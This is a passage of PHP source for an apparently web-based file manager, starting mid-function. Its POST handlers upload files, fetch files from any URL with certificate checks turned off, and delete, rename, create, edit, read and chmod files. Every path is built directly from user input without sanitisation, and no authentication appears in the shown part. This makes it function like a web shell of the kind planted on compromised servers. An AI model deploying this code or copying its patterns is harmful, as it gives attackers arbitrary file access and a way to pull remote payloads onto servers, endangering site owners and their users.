= 1073741824) { $bytes = number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { $bytes = number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { $bytes = number_format($bytes / 1024, 2) . ' KB'; } elseif ($bytes > 1) { $bytes = $bytes . ' bytes'; } elseif ($bytes == 1) { $bytes = $bytes . ' byte'; } else { $bytes = '0 bytes'; } return $bytes; } if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_POST['action'])) { $action = $_POST['action']; if ($action === 'upload') { if (isset($_FILES['files'])) { $uploadedCount = 0; $errors = []; foreach ($_FILES['files']['name'] as $key => $name) { $tmp_name = $_FILES['files']['tmp_name'][$key]; $error = $_FILES['files']['error'][$key]; if ($error === UPLOAD_ERR_OK) { $targetFile = $currentPath . DS . basename($name); if (move_uploaded_file($tmp_name, $targetFile)) { $uploadedCount++; } else { $errors[] = "Failed to upload " . htmlspecialchars($name); } } else { $errors[] = "Upload error for " . htmlspecialchars($name) . ": Code " . $error; } } if ($uploadedCount > 0) { echo json_encode(['status' => 'success', 'message' => $uploadedCount . ' file(s) uploaded successfully.', 'errors' => $errors]); } else { echo json_encode(['status' => 'error', 'message' => 'No files uploaded.', 'errors' => $errors]); } } elseif (isset($_POST['url']) && !empty($_POST['url'])) { $url = $_POST['url']; $fileName = basename(parse_url($url, PHP_URL_PATH)); $targetFile = $currentPath . DS . $fileName; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $data = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); $error = curl_error($ch); curl_close($ch); if ($httpCode >= 200 && $httpCode < 300 && $data !== false) { if (file_put_contents($targetFile, $data)) { echo json_encode(['status' => 'success', 'message' => 'File uploaded from URL successfully.']); } else { echo json_encode(['status' => 'error', 'message' => 'Failed to save file from URL.']); } } else { echo json_encode(['status' => 'error', 'message' => 'Failed to download from URL: HTTP Code ' . $httpCode . ' - ' . $error]); } } else { echo json_encode(['status' => 'error', 'message' => 'No file or URL provided.']); } exit; } elseif ($action === 'delete') { $target = $currentPath . DS . $_POST['item']; if (file_exists($target)) { if (is_dir($target)) { $files = array_diff(scandir($target), array('.', '..')); if (empty($files)) { if (rmdir($target)) { echo json_encode(['status' => 'success', 'message' => 'Folder deleted successfully.']); } else { echo json_encode(['status' => 'error', 'message' => 'Failed to delete folder.']); } } else { echo json_encode(['status' => 'error', 'message' => 'Folder is not empty.']); } } else { if (unlink($target)) { echo json_encode(['status' => 'success', 'message' => 'File deleted successfully.']); } else { echo json_encode(['status' => 'error', 'message' => 'Failed to delete file.']); } } } else { echo json_encode(['status' => 'error', 'message' => 'Item not found.']); } exit; } elseif ($action === 'rename') { $oldName = $currentPath . DS . $_POST['old_name']; $newName = $currentPath . DS . $_POST['new_name']; if (file_exists($oldName)) { if (rename($oldName, $newName)) { echo json_encode(['status' => 'success', 'message' => 'Item renamed successfully.']); } else { echo json_encode(['status' => 'error', 'message' => 'Failed to rename item.']); } } else { echo json_encode(['status' => 'error', 'message' => 'Item not found.']); } exit; } elseif ($action === 'create_file') { $fileName = $currentPath . DS . $_POST['name']; if (file_put_contents($fileName, '') !== false) { echo json_encode(['status' => 'success', 'message' => 'File created successfully.']); } else { echo json_encode(['status' => 'error', 'message' => 'Failed to create file.']); } exit; } elseif ($action === 'create_folder') { $folderName = $currentPath . DS . $_POST['name']; if (mkdir($folderName)) { echo json_encode(['status' => 'success', 'message' => 'Folder created successfully.']); } else { echo json_encode(['status' => 'error', 'message' => 'Failed to create folder.']); } exit; } elseif ($action === 'edit_file') { $filePath = $currentPath . DS . $_POST['file_name']; $content = $_POST['content']; if (file_put_contents($filePath, $content) !== false) { echo json_encode(['status' => 'success', 'message' => 'File content updated successfully.']); } else { echo json_encode(['status' => 'error', 'message' => 'Failed to update file content.']); } exit; } elseif ($action === 'get_file_content') { $filePath = $currentPath . DS . $_POST['file_name']; if (file_exists($filePath) && is_file($filePath)) { echo json_encode(['status' => 'success', 'content' => file_get_contents($filePath)]); } else { echo json_encode(['status' => 'error', 'message' => 'File not found or is not a file.']); } exit; } elseif ($action === 'set_perm') { $itemPath = $currentPath . DS . $_POST['item_name']; $permissions = octdec($_POST['permissions']); if (file_exists($itemPath)) { if (chmod($itemPath, $permissions)) { echo json_encode(['status' => 'success', 'message' => 'Permissions set successfully.']); } else { echo json_encode(['status' => 'error', 'message' => 'Failed to set permissions.']); } } else { echo json_encode(['status' => 'error', 'message' => 'Item not found.']); } exit; } } } ?>